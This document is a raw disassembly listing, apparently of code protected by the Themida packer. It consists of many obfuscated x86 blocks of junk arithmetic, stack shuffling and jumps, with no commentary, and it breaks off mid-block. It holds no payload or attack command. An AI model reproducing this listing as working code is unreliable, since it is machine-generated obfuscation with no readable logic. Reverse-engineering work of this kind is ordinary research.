		mov	[esp+34h+var_34], edi
		push	eax
		mov	eax, 66242869h
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		push	ebp
		jmp	loc_56FF63
; ---------------------------------------------------------------------------


loc_565436:				; CODE XREF: sub_56207C+BF97j
		pop	ebp
		add	ebp, 43935902h
		pop	eax
		push	eax
		mov	eax, 31DA2E35h
		add	ebp, eax
		pop	eax
		sub	esi, ebp
		mov	ebp, [esp+34h+var_34]
		jmp	loc_56B22B
; ---------------------------------------------------------------------------


loc_565451:				; CODE XREF: sub_56207C+10DF4j
		mov	[esp+34h+var_34], ebx
		mov	ebx, 1CC24A30h
		push	eax
		jmp	loc_55FA87
; ---------------------------------------------------------------------------


loc_56545F:				; CODE XREF: sub_56207C+BAAj
		mov	ebx, 0CC6304Fh
		jmp	loc_564949
; ---------------------------------------------------------------------------


loc_565469:				; CODE XREF: sub_56207C+420j
		mov	dl, al
		mov	cl, dl
		jmp	loc_567CF5
; ---------------------------------------------------------------------------


loc_565472:				; CODE XREF: sub_56207C+10B78j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+46h+var_48+2]
		pop	esp
		push	ecx
		mov	ecx, 2ACF7849h
		jmp	loc_565C93
; ---------------------------------------------------------------------------


loc_56548A:				; CODE XREF: sub_56207C-153Bj
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 71386E79h
		sub	edx, 48573BD0h
		mov	ebx, edx
		pop	edx
		mov	edx, 0D71ECD5Bh
		add	edx, ebx
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		sub	esi, 0EE27EBFh
		add	esi, edx
		jmp	loc_55EDF6
; ---------------------------------------------------------------------------


loc_5654B8:				; CODE XREF: sub_56207C-4F1j
		push	ebx
		jmp	loc_564976
; ---------------------------------------------------------------------------


loc_5654BE:				; CODE XREF: sub_56207C+C35Cj
		xor	ebp, edi
		jmp	loc_571792
; ---------------------------------------------------------------------------


loc_5654C5:				; CODE XREF: sub_56207C+10E6Aj
		inc	[esp+0Eh+var_10+2]
		pop	edi
		shr	edi, 7
		jmp	loc_56A247
; ---------------------------------------------------------------------------


loc_5654D1:				; CODE XREF: sub_56207C+926Fj
		neg	ah
		mov	dh, ah
		pop	ax
		jmp	loc_565D37
; ---------------------------------------------------------------------------


loc_5654DC:				; CODE XREF: sub_56207C-BABj
		pop	eax
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		push	1C7h
		mov	[esp+18h+var_18], ebp
		push	61E784Dh
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_563264
; ---------------------------------------------------------------------------


loc_5654F8:				; CODE XREF: sub_56207C+4E59j
		mov	[esp+1Ch+var_1C], edi
		mov	edi, 215B0E2Dh
		push	ecx
		mov	ecx, 1
		sub	edi, ecx
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		and	edi, 4BE24722h
		push	ecx
		mov	ecx, 612B300Dh
		jmp	loc_560091
; ---------------------------------------------------------------------------


loc_565522:				; CODE XREF: sub_56207C-2335j
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edx
		push	esp
		jmp	loc_561BDF
; ---------------------------------------------------------------------------


loc_565535:				; CODE XREF: sub_56207C-3BCCj
		neg	ch
		shl	ch, 2
		shr	ch, 6
		jmp	loc_56220D
; ---------------------------------------------------------------------------


loc_565542:				; CODE XREF: sub_56207C+EA7Fj
		mov	edx, 11C54297h
		shl	edx, 2
		jmp	loc_55E403
; ---------------------------------------------------------------------------


loc_56554F:				; CODE XREF: sub_56207C+75F8j
		xor	ebx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebx
		jmp	loc_56B721
; ---------------------------------------------------------------------------


loc_56555A:				; CODE XREF: sub_56207C+D65Dj
		pop	esp
		jmp	loc_56DFEF
; ---------------------------------------------------------------------------


loc_565560:				; CODE XREF: sub_56207C+52B6j
		xor	ebx, esi
		pop	esi
		jmp	loc_5634F2
; ---------------------------------------------------------------------------


loc_565568:				; CODE XREF: sub_56207C+5360j
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		push	ebx
		push	ebp
		push	eax
		push	194F43E8h
		jmp	loc_55F9C0
; ---------------------------------------------------------------------------


loc_565585:				; CODE XREF: sub_56207C+C8E4j
		xor	eax, edx
		jmp	loc_55EAA5
; ---------------------------------------------------------------------------


loc_56558C:				; DATA XREF: Themida_:0055E348o
		push	small 75C8h
		jmp	loc_55FAC5
; ---------------------------------------------------------------------------


loc_565595:				; CODE XREF: sub_56207C+1157Bj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp+2Eh+var_2C+2]
		pop	ebp
		pop	[esp+2Eh+var_30+2]
		pop	esp
		push	ecx
		mov	ecx, 2E846D86h
		add	ecx, 24AD696Fh
		or	ecx, 4FA86DCAh
		xor	ecx, 5F7E1324h
		dec	ecx
		shr	ecx, 8
		add	ecx, 4AB6B09h
		sub	ebp, ecx
		pop	ecx
		xor	ebp, 6D794EFh
		jmp	loc_56A28A
; ---------------------------------------------------------------------------


loc_5655D8:				; CODE XREF: sub_55FC0D+1Aj
		add	eax, ebx
		push	edx
		jmp	loc_571086
; ---------------------------------------------------------------------------


loc_5655E0:				; CODE XREF: sub_56207C+1085Fj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_56F862
; ---------------------------------------------------------------------------


loc_5655ED:				; CODE XREF: sub_56207C+A820j
		cmp	dword ptr [edi+20h], 0
		jz	loc_5665CF
		push	ebp
		mov	ebp, 0B0A0D86h
		shr	ebp, 3
		push	7269h
		mov	[esp+2Eh+var_30+2], edx
		mov	edx, 13283B9Bh
		xor	edx, 2D8C046Eh
		dec	edx
		dec	edx
		not	edx
		sub	edx, 829893F1h
		jmp	loc_5613B1
; ---------------------------------------------------------------------------


loc_565622:				; CODE XREF: sub_56207C-1309j
		add	edx, ecx
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		xchg	edx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		bt	[esp+30h+var_30], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56563A:				; CODE XREF: sub_56207C+D2BAj
		xchg	esi, [esp+34h+var_34]
		jmp	loc_56E6B0
; ---------------------------------------------------------------------------


loc_565642:				; CODE XREF: sub_56207C-2DF5j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	7B1Ah
		jmp	loc_566D1E
; ---------------------------------------------------------------------------


loc_565652:				; CODE XREF: sub_56207C-1335j
		pop	esp
		jmp	loc_55F542
; ---------------------------------------------------------------------------


loc_565658:				; CODE XREF: sub_56207C-B87j
		not	al
		sub	al, 61h
		xor	al, 5Eh
		shr	al, 5
		add	al, 7Ch
		sub	bl, al
		pop	eax
		push	edx
		mov	dh, 0C4h
		add	bl, dh
		pop	edx
		jmp	loc_56145A
; ---------------------------------------------------------------------------


loc_565671:				; CODE XREF: sub_56207C+5634j
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		mov	ebx, 2
		add	eax, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		or	byte ptr [esp+10h+var_10], al
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56569F:				; CODE XREF: sub_56207C+108FFj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		jmp	loc_56736C
; ---------------------------------------------------------------------------


loc_5656B5:				; CODE XREF: sub_56207C+CCA7j
		add	edx, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_572525
; ---------------------------------------------------------------------------


loc_5656BF:				; CODE XREF: sub_56207C+38DFj
		pop	edx
		add	al, 65h
		sub	al, 90h
		add	al, bl
		jmp	loc_56D6D3
; ---------------------------------------------------------------------------


loc_5656CB:				; CODE XREF: sub_56207C+C10j
		pop	eax
		and	esi, 1C582552h
		push	eax
		jmp	loc_55EB8C
; ---------------------------------------------------------------------------


loc_5656D8:				; CODE XREF: sub_56207C+BA92j
		add	esp, 4
		jmp	loc_55E9A4
; ---------------------------------------------------------------------------


loc_5656E3:				; CODE XREF: sub_56207C-2552j
		add	esp, 4
		jmp	loc_56CFF4
; ---------------------------------------------------------------------------


loc_5656EE:				; CODE XREF: sub_56207C+3F4j
		push	[esp+42h+var_44+2]
		push	[esp+46h+var_48+2]
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_5628C8
; ---------------------------------------------------------------------------


loc_565701:				; CODE XREF: sub_56207C+C9B4j
		pop	eax
		add	word ptr [esp+42h+var_40+2], 4DB9h
		add	word ptr [esp+42h+var_40+2], dx
		sub	word ptr [esp+42h+var_40+2], 4DB9h
		jmp	loc_572ED7
; ---------------------------------------------------------------------------


loc_56571A:				; CODE XREF: sub_56207C+4C7Cj
		xor	ebx, [esp+42h+var_44+2]
		xor	[esp+42h+var_44+2], ebx
		xor	ebx, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		jmp	loc_564358
; ---------------------------------------------------------------------------


loc_56572B:				; CODE XREF: sub_56207C+4A40j
		mov	dx, word ptr [esp+42h+var_44+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+46h+var_48+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_570BFA
; ---------------------------------------------------------------------------


loc_56574D:				; CODE XREF: sub_56207C+3274j
		xchg	esi, [esp-4+arg_0]
		jmp	loc_5735E7
; ---------------------------------------------------------------------------


loc_565755:				; CODE XREF: sub_56207C+7CBDj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56575A:				; CODE XREF: sub_56207C+FC61j
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_567A20
; ---------------------------------------------------------------------------


loc_56576B:				; CODE XREF: sub_56207C+B8C1j
		mov	esi, edi
		pop	edi
		sub	esi, ebx
		pop	ebx
		jmp	loc_562F91
; ---------------------------------------------------------------------------


loc_565776:				; CODE XREF: sub_56207C+A085j
		pop	esp
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 6AF1799Dh
		and	ebp, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 47130FB1h
		mov	ebx, 909BA739h
		add	ebx, ebp
		push	[esp-0Ch+arg_8]
		jmp	loc_56E192
; ---------------------------------------------------------------------------


loc_5657A8:				; CODE XREF: sub_56207C+FC44j
		mov	ebp, esi
		jmp	loc_56EA85
; ---------------------------------------------------------------------------


loc_5657AF:				; CODE XREF: sub_56207C+7AC2j
		add	esp, 4
		push	122Eh
		mov	[esp-8+arg_4], ecx
		jmp	loc_567D6E
; ---------------------------------------------------------------------------


loc_5657C2:				; CODE XREF: sub_56207C+CF1Bj
		push	6DDDh
		push	esp
		pop	dword ptr [esp+0]
		add	[esp-4+arg_0], 4
		push	[esp-4+arg_0]
		pop	esi
		jmp	loc_5726AA
; ---------------------------------------------------------------------------


loc_5657D8:				; CODE XREF: sub_56207C-2F44j
		push	edx
		jmp	loc_55E95F
; ---------------------------------------------------------------------------


loc_5657DE:				; CODE XREF: sub_56207C+171Bj
		pop	esp
		mov	[esp+2Ch+var_2C], esi
		push	ebx
		jmp	loc_56D1F8
; ---------------------------------------------------------------------------


loc_5657E8:				; CODE XREF: sub_56207C-375Bj
		shr	edi, 8
		neg	edi
		push	ebp
		push	esi
		push	eax
		mov	eax, 287777C6h
		mov	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		shr	ebp, 1
		jmp	loc_5733AF
; ---------------------------------------------------------------------------


loc_565802:				; CODE XREF: sub_56207C+5650j
		push	esp
		pop	ebp
		jmp	loc_56431E
; ---------------------------------------------------------------------------


loc_565809:				; CODE XREF: sub_56207C+57C3j
		not	dh
		sub	dh, 70h
		sub	al, 29h
		jmp	loc_56B6C2
; ---------------------------------------------------------------------------


loc_565815:				; CODE XREF: sub_56207C+ADC6j
		add	ch, 4Eh
		add	bl, 0B5h
		jmp	loc_563F13
; ---------------------------------------------------------------------------


loc_565820:				; CODE XREF: sub_56207C+B3C5j
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		mov	eax, esp
		jmp	loc_560A17
; ---------------------------------------------------------------------------


loc_56582D:				; CODE XREF: sub_56207C+52Fj
		sub	edx, edi
		mov	edi, [esp+42h+var_44+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+46h+var_48+2]
		pop	esp
		add	ecx, edx
		pop	edx
		add	ecx, eax
		jmp	loc_5697FA
; ---------------------------------------------------------------------------


loc_56584F:				; CODE XREF: sub_56207C-8ACj
		mov	[esp+3Eh+var_40+2], ecx
		jmp	loc_5717AD
; ---------------------------------------------------------------------------


loc_565857:				; CODE XREF: sub_56207C+8650j
		pop	ebx
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ebp
		push	[esp+3Eh+var_3C+2]
		pop	ebp
		pop	[esp+3Eh+var_40+2]
		pop	esp
		pop	small word ptr [esp+36h+var_38+2]
		xor	ax, di
		xor	di, ax
		jmp	loc_55FBD3
; ---------------------------------------------------------------------------


loc_565876:				; CODE XREF: sub_56207C+2FEAj
		add	ecx, 5ECD38E3h
		jmp	loc_56465B
; ---------------------------------------------------------------------------


loc_565881:				; CODE XREF: sub_56207C+2D11j
		and	ebp, ebx
		jmp	loc_561405
; ---------------------------------------------------------------------------


loc_565888:				; CODE XREF: sub_56207C+85A4j
		pop	esi
		sub	esp, 4
		jmp	loc_5694ED
; ---------------------------------------------------------------------------


loc_565894:				; CODE XREF: sub_56207C+F6E2j
		push	edx
		mov	dl, cl
		sub	esp, 4
		mov	[esp+48h+var_48], ecx
		push	eax
		mov	al, dl
		mov	cl, al
		pop	eax
		mov	bh, cl
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		jmp	loc_57122E
; ---------------------------------------------------------------------------


loc_5658B7:				; CODE XREF: sub_56207C+92Ej
		dec	edi
		not	edi
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edx
		mov	edx, 2C0F4792h
		and	edx, 308F5989h
		shl	edx, 7
		jmp	loc_5633AE
; ---------------------------------------------------------------------------


loc_5658D6:				; CODE XREF: sub_56207C+FC76j
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+3Ah+var_3C+2]
		pop	esp
		mov	[esp+36h+var_38+2], ebp
		push	24ECh
		mov	[esp+3Ah+var_3C+2], edx
		push	5557313Ah
		mov	edx, [esp+3Eh+var_40+2]
		push	edx
		mov	edx, esp
		jmp	loc_56AD5D
; ---------------------------------------------------------------------------


loc_56590C:				; CODE XREF: sub_56207C+10E64j
		mov	eax, [esp+42h+var_44+2]
		jmp	loc_56D96E
; ---------------------------------------------------------------------------


loc_565914:				; CODE XREF: sub_56207C+E308j
		pop	ebx
		jmp	loc_565103
; ---------------------------------------------------------------------------


loc_56591A:				; CODE XREF: sub_56207C+D338j
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		shl	edi, 7
		push	edx
		jmp	loc_56DCE2
; ---------------------------------------------------------------------------


loc_565929:				; CODE XREF: sub_56207C-2486j
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_56D6FD
; ---------------------------------------------------------------------------


loc_565937:				; CODE XREF: sub_56207C+FECAj
		push	4B73h
		mov	[esp-8+arg_4], edi
		jmp	loc_570F22
; ---------------------------------------------------------------------------


loc_565944:				; CODE XREF: sub_56207C+1072Aj
		sub	edx, esi
		jmp	loc_55EC10
; ---------------------------------------------------------------------------


loc_56594B:				; CODE XREF: sub_56207C+836Dj
		add	esp, 4
		jmp	loc_560E17
; ---------------------------------------------------------------------------


loc_565956:				; CODE XREF: sub_56207C-22A3j
		xor	dh, 42h
		sub	al, dh
		jmp	loc_5656BF
; ---------------------------------------------------------------------------


loc_565960:				; CODE XREF: sub_56207C+B7A8j
		and	ecx, eax
		push	[esp+24h+var_24]
		jmp	loc_571BEF
; ---------------------------------------------------------------------------


loc_56596A:				; CODE XREF: sub_56207C+C57Aj
		not	dx
		jmp	loc_568F11
; ---------------------------------------------------------------------------


loc_565972:				; CODE XREF: sub_56207C+DA3Fj
		dec	ebp
		add	ebp, 33854E5Bh
		mov	ecx, ebp
		pop	ebp
		push	ebp
		push	edx
		mov	edx, 5ADC72F6h
		sub	esp, 4
		mov	[esp+30h+var_30], eax
		mov	eax, 768465Bh
		xor	edx, eax
		pop	eax
		jmp	loc_568E8B
; ---------------------------------------------------------------------------


loc_565999:				; CODE XREF: sub_56207C+13FFj
		xor	esi, [esp+36h+var_38+2]
		xor	[esp+36h+var_38+2], esi
		xor	esi, [esp+36h+var_38+2]
		pop	esp
		push	ebp
		push	esi
		mov	esi, 776F0AF9h
		add	esi, 0FFFFFFFFh
		jmp	loc_569D6D
; ---------------------------------------------------------------------------


loc_5659B5:				; CODE XREF: sub_56207C+3989j
		add	esp, 4
		push	esi
		jmp	loc_569279
; ---------------------------------------------------------------------------


loc_5659BE:				; CODE XREF: sub_56207C+A4F3j
		add	ebx, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		jmp	loc_55FAAD
; ---------------------------------------------------------------------------


loc_5659C8:				; CODE XREF: sub_56207C+10CCFj
		sub	esi, 602304D0h
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		jmp	loc_568509
; ---------------------------------------------------------------------------


loc_5659D8:				; CODE XREF: sub_56207C+C2FFj
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp+32h+var_34+2]
		jmp	loc_571763
; ---------------------------------------------------------------------------


loc_5659E8:				; CODE XREF: sub_56207C+20BCj
		mov	si, cx
		jmp	loc_56C7BF
; ---------------------------------------------------------------------------


loc_5659F0:				; CODE XREF: sub_56207C+EAFAj
		push	ebx
		mov	bx, 7B9Bh
		sub	bx, 4E68h
		sub	si, bx
		jmp	loc_55E3F6
; ---------------------------------------------------------------------------


loc_565A02:				; CODE XREF: sub_56207C+58AAj
		mov	edi, [esp+40h+var_40]
		jmp	loc_5659B5
; ---------------------------------------------------------------------------


loc_565A0A:				; CODE XREF: sub_56207C+10A0Aj
		push	small 38CBh
		mov	word ptr [esp+42h+var_44+2], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_565A17:				; CODE XREF: sub_56207C+440j
		add	esp, 4
		xor	ebp, 306B22E6h
		push	ecx
		mov	ecx, 77E90629h
		sub	ecx, 5861A184h
		and	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 0D840401h
		xor	ebp, edx
		pop	edx
		sub	edx, 7A6815ACh
		jmp	loc_564CEC
; ---------------------------------------------------------------------------


loc_565A43:				; CODE XREF: sub_56207C+11B4j
		push	2E1Ah
		mov	[esp+30h+var_30], eax
		mov	al, dl
		push	edx
		mov	dh, al
		jmp	loc_572FAC
; ---------------------------------------------------------------------------


loc_565A55:				; CODE XREF: sub_56207C+3255j
		pop	ecx
		sub	eax, 4
		jmp	loc_560E4B
; ---------------------------------------------------------------------------


loc_565A5E:				; CODE XREF: sub_56207C+E68Aj
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_56BD97
; ---------------------------------------------------------------------------


loc_565A6B:				; CODE XREF: sub_56207C+E2j
		shr	esi, 4
		jmp	loc_5724F1
; ---------------------------------------------------------------------------


loc_565A73:				; CODE XREF: sub_56207C+4D8Cj
		mov	eax, 414D4528h
		dec	eax
		shr	eax, 1
		inc	eax
		jmp	loc_56F464
; ---------------------------------------------------------------------------


loc_565A81:				; CODE XREF: sub_56207C+8609j
		mov	[esp+50h+var_50], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5625B0
; ---------------------------------------------------------------------------


loc_565A97:				; CODE XREF: sub_56207C+53Ej
		push	7BBEh
		mov	[esp+46h+var_48+2], esi
		push	67F7h
		mov	[esp+4Ah+var_4C+2], ecx
		mov	ecx, 22826143h
		jmp	loc_564311
; ---------------------------------------------------------------------------


loc_565AB1:				; CODE XREF: sub_56207C+A1DEj
		xchg	edi, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_56D905
; ---------------------------------------------------------------------------


loc_565ABA:				; CODE XREF: sub_56207C+65EDj
		push	esi
		jmp	loc_55F51A
; ---------------------------------------------------------------------------


loc_565AC0:				; CODE XREF: sub_56207C+6BDDj
		mov	dl, 0BFh
		add	ah, dl
		mov	edx, [esp+4Ah+var_4C+2]
		jmp	loc_569552
; ---------------------------------------------------------------------------


loc_565ACC:				; CODE XREF: sub_56207C+D1B0j
		xchg	ebx, [esp+4Ah+var_4C+2]
		pop	esp
		push	esi
		push	edi
		mov	edi, 5FDD6C9Eh
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		pop	edi
		jmp	loc_56B829
; ---------------------------------------------------------------------------


loc_565AE3:				; CODE XREF: sub_56207C+115ADj
		neg	ecx
		push	edi
		jmp	loc_571542
; ---------------------------------------------------------------------------


loc_565AEB:				; CODE XREF: sub_56207C+2A15j
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		sub	ebx, 1185609Ch
		pop	ecx
		sub	eax, ebx
		push	[esp+26h+var_28+2]
		jmp	loc_56E8F9
; ---------------------------------------------------------------------------


loc_565B02:				; CODE XREF: sub_56207C+61Bj
		mov	[esp-0Ch+arg_8], ebx
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		push	1B1A367Dh
		pop	edi
		jmp	loc_56F96C
; ---------------------------------------------------------------------------


loc_565B16:				; CODE XREF: sub_56207C+6103j
		push	73A124CBh
		push	[esp-4+arg_0]
		pop	esi
		add	esp, 4
		or	esi, 3F764F8Eh
		shl	esi, 2
		push	eax
		push	edi
		push	edx
		mov	edx, 5E9A0734h
		neg	edx
		or	edx, 20142CB9h
		sub	edx, 0A1983DC3h
		jmp	loc_56A48B
; ---------------------------------------------------------------------------


loc_565B46:				; CODE XREF: sub_56207C+A233j
		dec	edi
		jmp	loc_56EDF2
; ---------------------------------------------------------------------------


loc_565B4C:				; CODE XREF: sub_56207C+ACF6j
		mov	ebx, [esp+4+var_4]
		jmp	loc_572C01
; ---------------------------------------------------------------------------


loc_565B54:				; CODE XREF: sub_56207C+BD1Cj
		sub	cl, 22h
		jmp	loc_57263E
; ---------------------------------------------------------------------------


loc_565B5C:				; CODE XREF: sub_56207C+1024Aj
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	sub_5604D8
; ---------------------------------------------------------------------------


loc_565B72:				; CODE XREF: sub_56207C+98B8j
		pop	edi
		jmp	loc_567F57
; ---------------------------------------------------------------------------


loc_565B78:				; CODE XREF: sub_56207C+2470j
		push	dx
		push	eax
		mov	ah, 0Ah
		jmp	loc_5688B8
; ---------------------------------------------------------------------------


loc_565B82:				; CODE XREF: sub_560EF0+5j
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	eax
		mov	eax, 6C55790Fh
		jmp	loc_56DBC7
; ---------------------------------------------------------------------------


loc_565B9A:				; CODE XREF: sub_56207C-D8Aj
		xor	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 42571CB6h
		or	eax, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_566ACF
; ---------------------------------------------------------------------------


loc_565BB3:				; CODE XREF: sub_56207C+CF7Aj
		mov	ah, 4Ah
		or	cl, ah
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_568E6E
; ---------------------------------------------------------------------------


loc_565BBF:				; CODE XREF: sub_56207C+9F9Cj
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56846E
; ---------------------------------------------------------------------------


loc_565BCD:				; CODE XREF: sub_56207C-3255j
		pop	edx
		push	eax
		jmp	loc_572C39
; ---------------------------------------------------------------------------


loc_565BD4:				; CODE XREF: sub_56207C+D162j
		xor	ecx, 3E1E7421h
		xor	ecx, 5DB31A37h
		jmp	loc_568AB1
; ---------------------------------------------------------------------------


loc_565BE5:				; CODE XREF: sub_56207C+DA2Cj
		not	dx
		add	dx, 283Fh
		jmp	loc_55F42B
; ---------------------------------------------------------------------------


loc_565BF2:				; CODE XREF: sub_56207C+F722j
		push	6E684867h
		pop	edi
		xor	edi, 547085Ch
		and	edi, 2D1953ABh
		jmp	loc_56E421
; ---------------------------------------------------------------------------


loc_565C09:				; CODE XREF: sub_56207C+8347j
		xor	bh, 47h
		shr	bh, 2
		push	ecx
		mov	cl, bh
		not	cl
		jmp	loc_572F1B
; ---------------------------------------------------------------------------


loc_565C19:				; CODE XREF: sub_56207C-1B73j
		sub	eax, 3E632296h
		jmp	loc_56B4D1
; ---------------------------------------------------------------------------


loc_565C23:				; CODE XREF: sub_56207C+D591j
		xor	edx, 61440526h
		sub	esp, 4
		jmp	loc_563919
; ---------------------------------------------------------------------------


loc_565C31:				; CODE XREF: sub_56207C+10155j
		xor	edx, [esp+20h+var_20]
		pop	esp
		push	4957h
		mov	[esp+20h+var_20], ecx
		mov	ecx, esp
		push	ebx
		push	edi
		mov	edi, 3E757811h
		add	edi, 49EF4E91h
		shr	edi, 2
		shr	edi, 6
		or	edi, 4D315D61h
		inc	edi
		xor	edi, 4DB97DECh
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp+28h+var_28], ebx
		mov	ebx, 72821C43h
		jmp	loc_56D69E
; ---------------------------------------------------------------------------


loc_565C7E:				; CODE XREF: sub_56207C+B936j
		sub	esi, 4FE314D9h
		push	[esp+28h+var_28]
		jmp	loc_56A41F
; ---------------------------------------------------------------------------


loc_565C8C:				; CODE XREF: sub_56207C+EC1Aj
		xor	cl, al
		jmp	loc_5678D7
; ---------------------------------------------------------------------------


loc_565C93:				; CODE XREF: sub_56207C+3409j
		dec	ecx
		jmp	loc_5714A1
; ---------------------------------------------------------------------------


loc_565C99:				; CODE XREF: sub_56207C+1418j
		sub	dh, 88h
		xor	dh, 0D5h
		sub	al, dh
		pop	edx
		sub	al, 63h
		add	al, ch
		push	edx
		mov	dl, 63h
		add	al, dl
		pop	edx
		add	al, 70h
		mov	cx, word ptr [esp+2Ah+var_2C+2]
		jmp	loc_5669A5
; ---------------------------------------------------------------------------


loc_565CB7:				; CODE XREF: sub_56207C+2EFAj
		mov	ebp, 175859E0h
		add	edi, ebp
		pop	ebp
		push	[esp+22h+var_24+2]
		pop	eax
		add	esp, 4
		mov	eax, edi
		mov	edi, [esp+1Eh+var_20+2]
		push	ebx
		jmp	loc_56AD35
; ---------------------------------------------------------------------------


loc_565CD1:				; CODE XREF: sub_56207C+A652j
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+1Eh+var_20+2]
		pop	esp
		push	[esp+1Ah+var_1C+2]
		pop	ebp
		add	esp, 4
		jmp	loc_56A70A
; ---------------------------------------------------------------------------


loc_565CE5:				; CODE XREF: sub_56207C+7540j
		add	esp, 4
		jmp	loc_56ADE1
; ---------------------------------------------------------------------------


loc_565CF0:				; CODE XREF: sub_56207C+E5DEj
		xor	edi, eax
		pop	eax
		push	edx
		mov	edx, 2C6C4E05h
		xor	edx, 71AC4CB5h
		neg	edx
		xor	edx, 0B9551804h
		jmp	loc_5709B6
; ---------------------------------------------------------------------------


loc_565D0C:				; DATA XREF: Themida_:0055E2B8o
		lodsd
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebp
		push	ecx
		push	607C7454h
		jmp	loc_564D46
; ---------------------------------------------------------------------------


loc_565D1E:				; CODE XREF: sub_56207C+AA38j
		push	esp
		jmp	loc_563D99
; ---------------------------------------------------------------------------


loc_565D24:				; CODE XREF: sub_56207C+12A8j
		add	esp, 4
		jmp	loc_56A3C8
; ---------------------------------------------------------------------------


loc_565D2C:				; CODE XREF: sub_56207C-D31j
		add	edi, 0F68610Ah
		jmp	loc_560BAE
; ---------------------------------------------------------------------------


loc_565D37:				; CODE XREF: sub_56207C+345Bj
		shl	dh, 1
		jmp	loc_567D58
; ---------------------------------------------------------------------------


loc_565D3E:				; CODE XREF: sub_56207C+512j
		not	esi
		shr	esi, 8
		add	esi, 787642BBh
		xor	ebx, esi
		pop	esi
		sub	ebx, 69526E1Ah
		jmp	loc_55FDC8
; ---------------------------------------------------------------------------


loc_565D57:				; CODE XREF: sub_56207C+8506j
		or	ah, 23h
		sub	ah, 1Bh
		jmp	loc_568C6A
; ---------------------------------------------------------------------------


loc_565D62:				; CODE XREF: sub_56207C-18F3j
		sub	ebp, 2AF0213Eh
		pop	eax
		xchg	ebp, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, 4
		add	[esp+1Ah+var_18+2], edi
		jmp	loc_56776F
; ---------------------------------------------------------------------------


loc_565D7E:				; CODE XREF: sub_56207C+A770j
		push	ebx
		jmp	loc_57327E
; ---------------------------------------------------------------------------


loc_565D84:				; CODE XREF: sub_56207C+18DFj
		xchg	esi, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		xor	ebp, [esp+42h+var_44+2]
		xor	[esp+42h+var_44+2], ebp
		jmp	loc_55E622
; ---------------------------------------------------------------------------


loc_565D95:				; CODE XREF: sub_56207C+5354j
		pop	eax
		sub	eax, 0C238D100h
		sub	ebx, eax
		pop	eax
